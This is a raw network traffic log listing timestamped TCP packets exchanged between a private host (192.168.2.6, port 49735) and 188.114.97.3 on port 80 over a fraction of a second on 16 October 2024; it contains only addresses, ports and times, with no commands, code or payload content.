                                                                                    Oct 16, 2024 10:58:10.014832020 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.014837027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.014853001 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.014862061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.014872074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.014889002 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.014914989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.015074015 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.015089035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.015110970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.015113115 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.015130043 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.015142918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.015173912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.015187979 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.015204906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.015223980 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.015248060 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.023580074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.023680925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.023689985 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.023696899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.023711920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.023718119 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.023736954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.023752928 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.024358988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.024382114 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.024395943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.024405956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.024411917 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.024422884 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.024429083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.024431944 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.024450064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.024466991 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.025754929 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.025800943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.025815964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.025825024 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.025863886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.025863886 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.025954962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.025968075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.025990963 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.025993109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.026005030 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.026010036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.026026964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.026042938 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.026048899 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.026058912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.026082039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.026097059 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.026215076 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.026284933 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.026377916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.026415110 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.033871889 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.033895969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.033910036 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.033934116 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.033967018 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034281969 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034297943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034312010 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034327030 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034336090 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034343958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034362078 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034377098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034375906 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034394026 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034416914 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034440041 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034471989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034487009 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034502983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034518003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034523964 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034550905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034643888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034676075 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034689903 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.034693956 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034717083 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.034737110 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.079663992 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.079715014 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.079727888 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.079741955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.079750061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.079793930 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.079812050 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.132606983 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132622004 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132637024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132658958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132673979 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.132704973 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132714033 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.132755995 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132771015 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132785082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.132797003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132810116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132817984 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.132833958 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.132842064 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.132867098 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.133275032 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.133299112 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.133315086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.133326054 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.133331060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.133341074 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.133349895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.133358002 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.133375883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.133388996 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.141053915 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141068935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141083956 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141098976 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141118050 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.141148090 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.141158104 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141165972 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.141181946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141194105 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.141200066 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141221046 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.141223907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.141248941 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.141268015 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143419027 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143435955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143450975 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143465042 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143474102 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143481016 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143491983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143521070 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143527985 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143537998 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143556118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143568993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143585920 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143598080 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143603086 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143609047 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143619061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143623114 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143635035 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143640995 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143650055 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.143661022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143671989 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.143690109 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151643991 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151667118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151698112 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151710987 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151722908 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151730061 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151746988 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151755095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151777983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151792049 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151858091 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151874065 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151894093 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151897907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151907921 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151916981 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151932001 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151932955 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151959896 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151962996 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151969910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.151979923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.151994944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.152002096 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.152026892 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.152481079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.152507067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.152518988 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.152519941 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.152544975 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.195210934 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.195225954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.195240021 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.195278883 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.195316076 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.197752953 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.197799921 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.197815895 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.197833061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.197861910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250121117 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250135899 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250150919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250185013 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250184059 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250202894 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250230074 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250233889 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250253916 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250257969 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250271082 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250271082 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250313044 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250596046 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250612020 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250626087 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250648022 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250670910 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250845909 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250888109 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250904083 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250917912 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.250929117 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.250946999 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.251125097 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.251140118 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.251154900 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.251207113 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.258641005 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258655071 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258671999 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258692026 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.258692980 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258708954 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258712053 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.258724928 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258748055 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.258764982 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.258877039 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258899927 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258913994 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.258939981 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.258961916 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.260757923 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.260772943 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.260788918 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.260803938 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.260879993 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261013031 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261029959 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261044025 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261059046 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261081934 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261105061 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261110067 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261126041 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261142015 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261152983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261172056 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261193037 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261312962 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261352062 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261353970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261370897 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261387110 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261393070 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261411905 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261428118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.261645079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261658907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.261706114 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.269716978 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269732952 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269748926 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269762993 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269773006 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.269799948 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.269815922 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.269848108 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269938946 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269953012 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269967079 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.269979954 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270008087 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270040989 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270055056 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270078897 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270081997 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270098925 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270107031 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270118952 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270136118 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270374060 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270390034 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270406008 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270422935 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270435095 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270452976 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270479918 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.270648003 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270661116 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.270708084 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.312570095 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.312582970 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.312598944 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.312613964 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.312634945 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.312669039 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.315458059 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.315481901 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.315495968 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.315511942 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.315541983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.315541983 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.367609024 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.367636919 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.367662907 CEST8049735188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:10.367664099 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.367700100 CEST4973580192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:10.367700100 CEST4973580192.168.2.6188.114.97.3
